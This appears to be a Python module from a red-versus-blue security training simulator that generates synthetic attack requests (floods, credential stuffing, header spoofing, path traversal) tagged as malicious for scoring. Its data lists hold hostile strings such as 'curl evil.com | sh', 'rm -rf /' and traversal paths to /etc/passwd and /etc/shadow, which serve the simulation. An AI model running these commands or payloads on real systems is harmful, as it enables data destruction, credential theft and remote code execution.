sre-arena / server /simulator /attack_templates.py
G Rohith Yadav
Phase 1 + 2 + 2.5 complete: simulator, FastAPI server, seedable env (83 tests passing)
b914800
Raw
History Blame Contribute Delete
4.63 kB
"""Attack template generator for the red (attacker) agent.
Eight templates cover the full attacker action space. Every generated
request is tagged ``is_malicious=True`` for ground-truth rubric scoring.
The attacker never sees these tags.
"""
from __future__ import annotations
import itertools
import random as _random_module
TEMPLATE_NAMES: list[str] = [
"single_ip_flood",
"ip_spray",
"credential_stuffing",
"payload_injection",
"header_spoof",
"slow_drip",
"path_traversal",
"mixed_legit_cover",
]
_DEFAULT_ATTACKER_IPS: list[str] = [
f"10.{b}.{c}.{d}"
for b, c, d in itertools.product([0], range(1, 5), range(1, 6))
]
_TRAVERSAL_PATHS = [
"/api/data?file=../../etc/passwd",
"/api/data?file=../../etc/shadow",
"/api/data?file=../../../proc/self/environ",
"/api/data/../admin",
"/api/data/..%2F..%2Fetc%2Fpasswd",
]
_FAKE_COMMANDS = [
"rm -rf /",
"cat /etc/passwd",
"wget malware.sh",
"curl evil.com | sh",
]
_FAKE_CREDS = [
{"username": "admin", "password": "admin"},
{"username": "root", "password": "root"},
{"username": "user", "password": "password"},
{"username": "test", "password": "123456"},
]
def generate(template: str, params: dict) -> list[dict]:
"""Generate malicious request dicts for the given template.
Args:
template: One of the 8 ``TEMPLATE_NAMES``.
params: Parameters from AttackerAction: ``count``, ``target_path``,
``source_ips``, ``payload``.
Returns:
List of request dicts, each tagged ``is_malicious=True``.
Raises:
ValueError: If *template* is not in ``TEMPLATE_NAMES``.
"""
if template not in TEMPLATE_NAMES:
raise ValueError(
f"Unknown template: {template!r}. Must be one of {TEMPLATE_NAMES}"
)
count = max(1, int(params.get("count", 10)))
path = params.get("target_path", "/login")
provided_ips: list[str] = list(params.get("source_ips") or [])
rng = _random_module.Random(params.get("_seed"))
def _ip(idx: int = 0) -> str:
if provided_ips:
return provided_ips[idx % len(provided_ips)]
return _DEFAULT_ATTACKER_IPS[idx % len(_DEFAULT_ATTACKER_IPS)]
def _req(
ip: str,
method: str = "GET",
path_: str | None = None,
body: dict | None = None,
headers: dict | None = None,
) -> dict:
return {
"ip": ip,
"method": method,
"path": path_ if path_ is not None else path,
"headers": headers or {},
"body": body or {},
"is_malicious": True,
}
if template == "single_ip_flood":
return [_req(_ip(0)) for _ in range(count)]
if template == "ip_spray":
return [_req(_ip(i)) for i in range(count)]
if template == "credential_stuffing":
return [
_req(_ip(i), method="POST", path_="/login", body=rng.choice(_FAKE_CREDS))
for i in range(count)
]
if template == "payload_injection":
extra = dict(params.get("payload") or {})
base_payload = extra if extra else {"command": rng.choice(_FAKE_COMMANDS)}
return [
_req(_ip(i), method="POST", path_="/api/process", body=base_payload)
for i in range(count)
]
if template == "header_spoof":
spoofed_headers = [
{"X-Forwarded-For": f"10.0.0.{rng.randint(1, 254)}"},
{"X-Real-IP": f"10.0.0.{rng.randint(1, 254)}"},
{"X-Original-IP": f"192.168.0.{rng.randint(1, 254)}"},
]
return [_req(_ip(i), headers=rng.choice(spoofed_headers)) for i in range(count)]
if template == "slow_drip":
# One request per unique IP — low per-IP rate, hard to rate-limit
ips = [f"10.1.{i // 256}.{i % 256 + 1}" for i in range(count)]
return [_req(ip) for ip in ips]
if template == "path_traversal":
return [_req(_ip(i), path_=rng.choice(_TRAVERSAL_PATHS)) for i in range(count)]
if template == "mixed_legit_cover":
# Half look like legitimate traffic (192.168 IPs, normal paths) but are malicious
half = count // 2
legit_looking = [
_req(
f"192.168.1.{rng.randint(1, 50)}",
path_=rng.choice(["/login", "/api/data"]),
)
for _ in range(half)
]
direct = [_req(_ip(i)) for i in range(count - half)]
combined = legit_looking + direct
rng.shuffle(combined)
return combined
raise ValueError(f"Unhandled template: {template!r}") # unreachable